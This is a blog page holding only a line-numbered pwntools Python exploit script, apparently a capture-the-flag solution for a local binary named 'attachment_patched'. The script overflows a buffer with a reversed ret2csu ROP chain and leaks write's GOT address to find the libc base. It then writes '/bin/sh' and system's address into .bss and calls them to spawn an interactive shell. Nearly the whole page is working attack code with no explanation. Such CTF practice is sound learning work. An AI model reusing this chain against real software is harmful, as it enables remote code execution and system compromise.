Mkrari的个人博客

1
from pwn import *
2

3
context(arch = 'amd64',os = 'linux',log_level = 'debug')
4

5
p = process('./attachment_patched')
6

7
#gdb.attach(p)
8
elf = ELF('./attachment_patched')
9
libc = ELF('./libc.so.6')
10

11
ret_addr = 0x40101A
12
CSU_CALL = 0x401340
13
CSU_POP = 0x40135A
14

15
write_got = elf.got['write']
16
read_got = elf.got['read']
17
main_addr = elf.symbols['main']
18

19
bss = elf.bss() + 0x200
20
bss_binsh = bss
21
bss_system = bss + 8
22

23
def reverse(payload):
24
    return payload[::-1]
25

26
offset = 128 + 8
27

28
rop_write = flat([
29
    b'a' * offset,
30
    p64(CSU_POP),
31
    p64(0), p64(1),
32
    p64(1),
33
    p64(write_got),
34
    p64(8),
35
    p64(write_got),
36
    p64(CSU_CALL),
37
    p64(0) * 7,
38
    p64(CSU_POP)
39
])
40

41
rop_read = flat([
42
    p64(0),
43
    p64(1),
44
    p64(0),
45
    p64(bss_binsh),
46
    p64(16),
47
    p64(read_got),
48
    p64(CSU_CALL),
49
    p64(0) * 7,
50
    p64(main_addr)
51
])
52

53
payload1 = reverse(rop_write + rop_read)
54

55
p.recvuntil(b'message: ')
56
p.send(payload1)
57

58
p.recv(8)
59
leaked = p.recv(8)
60
write_addr = u64(leaked)
61
libc.address = write_addr - libc.symbols['write']
62
log.success(f"libc base: {hex(libc.address)}")
63

64
system_addr = libc.symbols['system']
65
log.success(f"system: {hex(system_addr)}")
66

67
p.send(b'/bin/sh\x00' + p64(system_addr))
68

69
rop_system = flat([
70
    b'a' * offset,
71
    p64(CSU_POP),
72
    p64(0),
73
    p64(1),
74
    p64(bss_binsh),
75
    p64(0),
76
    p64(0),
77
    p64(bss_system),
78
    p64(CSU_CALL),
79
    p64(0) * 7,
80
])
81

82
payload2 = reverse(rop_system)
83
p.recvuntil(b'message: ')
84
p.send(payload2)
85
p.recv(8)
86

87
p.interactive()